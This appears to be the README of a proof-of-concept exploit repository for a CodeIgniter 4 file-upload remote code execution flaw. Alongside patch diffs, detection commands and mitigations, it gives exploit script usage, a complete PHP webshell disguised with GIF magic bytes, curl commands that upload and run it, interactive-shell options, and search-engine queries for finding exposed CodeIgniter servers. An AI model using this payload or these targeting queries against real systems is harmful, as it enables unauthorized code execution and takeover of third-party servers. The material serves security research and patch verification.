
CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in File Upload RCE (CVSS 9.8). Unauthenticated remote code execution via unrestricted file upload bypass using image magic bytes. Fixed in v4.7.4.
CVSS 9.8 (Critical) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Unrestricted Upload of File with Dangerous Type
Fixed: CodeIgniter 4 v4.7.4
Advisory: GHSA-mmj4-63m4-r6h5
CodeIgniter 4's is_image and mime_in file upload validation rules inspect only content-derived MIME type (magic bytes), not the client-supplied filename extension.
An unauthenticated attacker can prepend image magic bytes (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) to a PHP webshell, name it shell.php, and it will pass or validation while retaining a dangerous executable extension. When the uploaded file is stored in a web-accessible directory, the attacker achieves .
is_imagemime_inis_image or mime_in without an independent extension check (ext_in).php extension)The fix in v4.7.4 adds two new helper methods and wires them into the validation rules:
is_image — Before vs After// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
return false;
}
if ($this->hasInvalidImageClientExtension($file)) { // ← NEW
return false;
}
return true;
mime_in — Before vs After// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
return true;
// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
if ($this->hasMismatchedClientExtension($file)) { // ← NEW
return false;
}
return true;
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}
// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
return $file->guessExtension() !== $clientExtension;
}
Key insight: The fix delegates to the existing Mimes::guessTypeFromExtension() and $file->guessExtension() methods, adding a second validation layer. Uploads without extensions (e.g. JavaScript Blob objects) are still accepted.
CVE-2026-63223-POC/
├── README.md ← this file
├── Dockerfile ← vulnerable lab setup
├── docker-compose.yml ← easy `docker compose up`
├── exploit/
│ └── exploit.py ← Python exploit script
└── vulnerable-app/
├── app/Controllers/Upload.php ← vulnerable controller
├── app/Config/Routes.php ← routing
└── app/Views/
├── upload_form_avatar.php ← is_image bypass form
├── upload_form_doc.php ← mime_in bypass form
└── upload_form_safe.php ← SAFE reference form
# Build & start the vulnerable app
docker compose up -d
# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"
# Open in browser
open http://localhost:8080/upload/avatar
| Endpoint | Vulnerability | Validation |
|---|---|---|
/upload/avatar | VULNERABLE | is_image only |
/upload/document | VULNERABLE | mime_in only |
/upload/safe | SAFE (control) | is_image + ext_in |
# Install dependency
pip install requests
# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"
# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell
# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data
# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar
# Execute
curl http://localhost:8080/uploads/evil.php?c=id
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method jpg --filename wp-admin.php --cmd "ls -la /"
# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method png --filename config.phtml --shell
The PHP $_FILES superglobal and CodeIgniter's UploadedFile object carry two separate pieces of information:
type / getMimeType() — Derived from the file's magic bytes (content-based), sent by the browser as the Content-Type part of the multipart uploadname / getClientName() — The original filename from the client, including extensionBefore the patch, is_image and mime_in only checked #1. An attacker sends:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_REQUEST['c']); ?>
is_image sees image/gif → passesshell.php (client name preserved).php files in uploads dir → RCEAfter the patch, the extension is cross-checked:
hasInvalidImageClientExtension() sees .php → rejectsLook for PHP/PHTML/PHP5 files with image magic bytes in your uploads directory:
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'
# Or check raw bytes
xxd uploads/*.php | head
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"
# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"
# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"
# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"
# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"
# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"
# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"
# CI4 session fingerprint in Set-Cookie
header="ci_session"
# Broad CI4 detection
app="CodeIgniter Framework"
# ZoomEye
app:"CodeIgniter" +"file upload"
# Censys
services.http.response.body:"Welcome to CodeIgniter"
ext_in rule alongside is_image/mime_in<Directory "/var/www/html/public/uploads">
php_admin_flag engine off
</Directory>
This PoC is for educational purposes and authorized security testing only. The vulnerability was responsibly disclosed and patched. Do not use this against systems you don't own or have explicit permission to test. The authors assume no liability for misuse.